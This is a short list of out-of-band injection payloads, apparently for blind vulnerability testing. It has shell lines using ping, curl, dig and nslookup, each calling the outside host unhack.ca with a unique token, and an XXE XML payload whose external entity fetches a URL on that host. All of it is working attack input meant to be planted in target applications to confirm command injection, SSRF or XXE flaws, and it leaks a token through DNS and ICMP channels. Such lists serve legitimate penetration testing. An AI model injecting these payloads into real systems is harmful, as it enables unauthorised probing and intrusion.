$ ping -c1 -p 005b863208f6901aaab8ea30b80f6f00 unhack.ca
$ curl http://unhack.ca/p/5b863208f6901aaab8ea30b80f6f
$ dig 5b863208f6901aaab8ea30b80f6f @unhack.ca
$ dig 5b863208f6901aaab8ea30b80f6f.ns.unhack.ca
C:\> nslookup 5b863208f6901aaab8ea30b80f6f unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/5b863208f6901aaab8ea30b80f6f">]> <foo>&xxe;</foo>